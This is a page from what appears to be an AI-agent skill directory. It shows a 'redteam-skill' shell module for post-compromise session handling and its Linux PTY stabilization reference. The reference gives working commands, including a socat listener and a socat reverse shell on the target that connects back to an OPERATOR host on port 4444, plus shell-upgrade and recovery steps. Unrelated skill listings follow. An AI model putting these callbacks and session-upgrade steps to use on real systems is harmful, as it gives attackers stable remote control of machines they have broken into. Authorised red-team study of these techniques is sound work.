Skip to content

pale-knight/redteam-skill / skills/shell

shell

Flagged

Shell and session operations after an attack module already established command execution, a raw shell, webshell channel, container/runner shell, or remote session. This module does not own exploitation and should not pull SSH/WinRM/RDP authentication or vulnerability-to-shell chains out of Web/AD/Cloud/K8s/CI-CD/Service/Phishing. Use it to bootstrap a usable callback from existing command execution, stabilize Linux PTY, upgrade Windows sessions with ConPTY where applicable, manage listeners, recover fragile sessions, and exchange files for continued operations.

references/linux-pty.md

View on GitHub
# Linux PTY Stabilization

## 1. Python PTY

```bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

本地:

```text
Ctrl-Z
stty raw -echo; fg
```

远端:

```bash
export TERM=xterm-256color
stty rows 40 columns 120
```

本地可先获取:

```bash
stty size
```

## 2. script

```bash
script -q /dev/null -c /bin/bash
```

## 3. socat PTY

攻击端:

```bash
socat file:`tty`,raw,echo=0 tcp-listen:4444
```

目标:

```bash
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:OPERATOR:4444
```

## 4. 常见恢复

```bash
reset
export SHELL=/bin/bash
export TERM=xterm
stty sane
```
rea-analysis-optimizationmorluto/reaOptimize REA providers and shared analysis workflows for agent context, latency, CPU, and memory while preserving correctness and Evidence. Use for analysis bottlenecks and cache or query design; CI/test-suite optimization belongs to rea-ci-tests-audit.Stars: 471kUpdated Claude CodeCodexVerifiedInstall
rea-ci-tests-auditmorluto/reaAudit REA CI and test suites for correctness, fixture drift, false passes, and measured performance; use for suite or workflow investigations and efficiency changes, rather than ordinary feature testing or a single test failure.Stars: 471kUpdated Claude CodeCodexVerifiedInstall
rea-tool-designmorluto/reaAudit, investigate, design, or change REA investigation tools, CLI/MCP contracts, provider capabilities, and Evidence semantics.Stars: 471kUpdated Claude CodeCodexVerifiedInstall
ponytail-auditDietrichGebert/ponytailQuality audit of the whole repo: bugs, security, real load, missing tests, speed, and what to delete. Most important first.Stars: 194kUpdated Claude CodeCodexVerifiedInstall